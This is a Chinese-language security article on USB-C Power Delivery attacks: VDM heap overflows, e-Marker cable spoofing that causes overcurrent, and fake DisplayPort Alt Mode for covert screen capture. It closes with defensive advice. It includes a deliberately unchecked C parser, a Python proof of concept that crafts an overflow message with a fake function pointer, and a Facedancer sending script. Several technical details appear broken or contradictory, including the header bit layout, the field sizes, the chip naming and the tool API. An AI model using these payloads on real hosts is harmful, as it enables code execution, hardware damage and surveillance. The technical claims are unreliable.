摘要

USB Power Delivery 3.1 通过 Configuration Channel 引脚协商高达 240W 的电力与 Alternate Mode 数据,但其协议栈在处理供应商自定义消息(VDM)时缺乏严格的长度验证。攻击者可利用 FPGA 或 STM32 微控制器模拟 PD PHY,发送畸形的 VDM 数据包,触发接收端解析器的堆溢出,进而在 USB4 主控或电源管理芯片的固件中执行任意代码。同时,通过伪造 e-Marker 电缆身份,攻击者能让主机误信其连接了高规格线缆,从而开放超过物理承载能力的电流,引发物理烧毁;或伪装成 DisplayPort Alt Mode 设备,在无用户授权的情况下建立视频输出通道,实现隐蔽监控。

PD协议栈

CC 引脚的半双工通信与 BMC 编码

USB-C 接口的 Configuration Channel(CC)引脚是 PD 协议通信的物理介质。与 USB 数据线不同,CC 采用单线半双工模式,使用双相标记编码(BMC)以 300 kbps 速率传输数据。消息以 64 比特的前导码开头,后接 SOP(Start of Packet)定界符,再跟 16 比特的消息头和可变长度的有效载荷,最后是 32 比特的 CRC 和 EOP。

消息头定义了消息类型(数据消息、控制消息、扩展消息)以及端口角色(Source/Sink/DRP)。控制消息(如 Accept、Reject)用于基本电力协商,而数据消息(Data Message)则承载 Vendor Defined Message(VDM)和 Battery Status 等扩展内容。VDM 分为标准 VDM(用于发现 Alternate Mode 支持)和自定义 VDM(厂商私有),后者是攻击的重点——它允许设备交换非标准的二进制数据,而接收端解析这些数据时往往信任了发送方提供的长度字段。

VDM 的消息结构与长度信任

VDM 消息头包含 16 比特 VDM Header,后跟最多 7 个 32 比特的对象(Object)。VDM Header 包括:

  • VDM Type:2 比特,区分标准/自定义;
  • VDM Version:2 比特;
  • Command:5 比特,如 Discover Identity;
  • Number of Objects:3 比特,表示后续对象数量(0–7)。

问题在于,Number of Objects 字段是由发送方决定的,而接收方在解析时可能未严格验证对象数量与实际消息长度的对应关系。如果发送方将 Number of Objects 设置为 7,但实际附加的对象数据远超声明的长度,接收方在遍历对象时可能发生越界读取;反之,如果对象数量与实际不符,解析器在复制数据时可能触发堆溢出。

更隐蔽的是,在自定义 VDM 中,接收方可能将对象中的内容解释为指针或偏移量,若这些值由攻击者控制且未经校验,便导致任意地址读写。

STM32G4/FPGA实现PD PHY能力

现代微控制器(如 STM32G4 系列)内置 USB PD 3.1 PHY 和模拟前端,可通过 TCPP01/TCPS 芯片直接控制 CC 引脚的电压和 BMC 编解码。攻击者利用这些芯片构建恶意 PD 设备,能够以极低成本实现 PD 协议栈的完全模拟。开源项目如 Facedancer 和 USB-PD-Sniffer 进一步降低了攻击门槛,攻击者只需修改 Python 脚本即可发送自定义 VDM。

堆溢出

解析器对 VDM Object 数量的盲目信任

以某型号 USB4 主控的固件为例,其 ProcessVDM 函数在处理自定义 VDM 时,逻辑如下:

voidProcessVDM(uint8_t* data, uint16_t len){
    VDM_Header* hdr = (VDM_Header*)data;
int num_objects = hdr->NumObjects;
uint32_t* objects = (uint32_t*)(data + sizeof(VDM_Header));
for (int i = 0; i < num_objects; i++) {
// 处理第 i 个对象
        HandleObject(objects[i]);
    }
}

该函数未检查 len - sizeof(VDM_Header) 是否足够容纳 num_objects * 4 字节。攻击者发送一条 VDM 消息,将 NumObjects 设为最大值 7,但消息在对象数组开始前截断,则 objects[i] 将读取超出消息缓冲区的内存,可能导致信息泄露;若攻击者发送一条超长消息并将 NumObjects 设为较小值,则额外的数据将覆盖堆上的后续结构。

通过 Fake Object 覆盖函数指针

在许多嵌入式 PD 固件中,VDM 处理上下文与 PD 策略引擎的配置对象紧邻存放。攻击者可以精心布局 VDM 消息中的对象数组,使其正好延伸到配置对象中的函数指针字段(如 DiscoverIdentity 的回调函数)。当策略引擎随后调用该回调时,控制流即被劫持。

# vdm_overflow.py — 构造恶意 VDM 消息触发堆溢出
import struct
import crcmod

defbuild_malicious_vdm():
# 消息头:自定义 VDM, Number of Objects = 2 (实际载荷远超)
    vdm_header = (0b11 << 6) | (0b01 << 4) | (0x01 << 0)  # 自定义,版本1,命令1
    vdm_header |= (2 << 5)  # Number of Objects = 2
    header = struct.pack('<H', vdm_header)

# 构造溢出载荷:填充到假设的目标函数指针位置
    payload = b'A' * 64# 填充堆
    target_func_ptr = struct.pack('<I', 0x20001000)  # 假设的攻击者控制地址
    payload += target_func_ptr

# 构建完整消息
    msg = header + payload
# 添加 CRC (使用 USB PD CRC-32)
    crc32_func = crcmod.mkCrcFun(0x104C11DB7, initCrc=0xFFFFFFFF, xorOut=0xFFFFFFFF)
    crc = crc32_func(msg)
    msg += struct.pack('<I', crc)

return msg

if __name__ == '__main__':
    malicious_msg = build_malicious_vdm()
    print(f"Malicious VDM (hex): {malicious_msg.hex()}")
# 该消息将由攻击者的 PD 设备发送给主机

说明:此 PoC 构造了一个声称仅包含 2 个对象但实际数据更长的 VDM,当目标解析器无边界检查时,便可将数据拷贝到堆外,改写后续的关键指针。

e-Marker 芯片欺骗

e-Marker认证缺失

USB-C 电缆内部可内置 e-Marker(电子标记芯片),通过 CC 引脚响应 Discover Identity 请求,返回电缆的电流承载能力(3A/5A)、USB 版本、是否支持 Thunderbolt 3 等。标准要求,超过 3A 电流或支持 SuperSpeed USB 的电缆必须含有 e-Marker。

然而,许多 e-Marker 芯片(如 TI TPS65987D)并未实施加密认证,仅返回固化的标识数据。攻击者可以擦除并重写 e-Marker 的固件,或直接模拟 e-Marker 的响应,使主机误认为连接了 5A 线缆,从而开放 100W 供电。实际上,攻击者可能使用仅能承载 1A 的细线,却让主机输出 5A,导致电缆过热甚至熔毁。

伪装 Alternate Mode 实现隐蔽视频输出

通过伪造 e-Marker 的 Discover SVIDs 和 Discover Modes 响应,攻击者可以让主机认为其连接的设备支持 DisplayPort Alt Mode。主机随后会尝试通过 SBU 引脚建立 DisplayPort 链路。如果攻击者确实实现了一个简单的 DP Sink,就可以静默捕获主机的视频输出——这等同于在数据链路层截获屏幕内容,无需操作系统权限。

基于 Facedancer 的 PD 攻击平台

Facedancer 是 Great Scott Gadgets 推出的 USB 安全测试工具,其衍生版本 Facedancer-PD 支持模拟 PD 协议。

https://greatscottgadgets.com/

以下示例展示如何利用 Python 脚本发送自定义 VDM。

facedancer_pd_attack.py — 使用 Facedancer-PD 发送恶意 VDM
import facedancer
from facedancer import PD

defsend_malicious_vdm():
    dev = PD.FacedancerPD()
    dev.connect()

# 构造恶意 VDM 消息(与前述相同)
    malicious_msg = build_malicious_vdm()
    dev.send_sop(PD.SOP_TYPE.SOP, malicious_msg)
    print("[+] 恶意 VDM 已发送")

if __name__ == '__main__':
    send_malicious_vdm()

说明:该脚本直接驱动 Facedancer 硬件向主机发送自定义 PD 消息,可用于测试主机 PD 协议栈的健壮性。

检测与防御

主机侧边界检查强化

  • 严格验证 VDM 长度:解析器必须确保 NumObjects * 4 + sizeof(VDM_Header) 不超过消息总长度,否则拒绝处理。
  • 对象数量上限:强制 NumObjects 不超过最大限制,对超出部分截断。
  • 隔离关键结构:将 VDM 处理缓冲区与函数指针表分离,使用页保护防止溢出改写。

e-Marker 认证

  • 要求电缆支持 PD 3.1 的认证机制:标准定义了基于 ECDSA 的电缆身份认证,主机应强制要求高功率传输前完成挑战-应答。
  • 监控电缆能力变化:若同一物理连接中 e-Marker 反复变更其宣称的规格,应立即断电并告警。

运行时防护

  • 固件完整性监控:定期校验 USB4 主控和电源管理控制器的固件哈希,检测被篡改。
  • 物理层异常检测:监控 CC 引脚电压和 BMC 占空比的异常,恶意设备可能因时钟不准导致物理层畸变。

结语

USB-C 统一接口是想将电力、视频和数据汇集于一根线缆,当然也将攻击面集中在了那一条纤细的 Configuration Channel 之上。PD 协议栈的未校验长度信任和 e-Marker 的身份薄弱,共同构成了一道敞开的硅后门。攻击者只需一个几十元的微控制器,就能化身危险的充电器或显示器,对主机发动堆溢出攻击或电缆身份欺诈。在 PD 3.1 强认证全面部署之前,每一个 USB-C 端口都可能是一扇尚未上锁的门。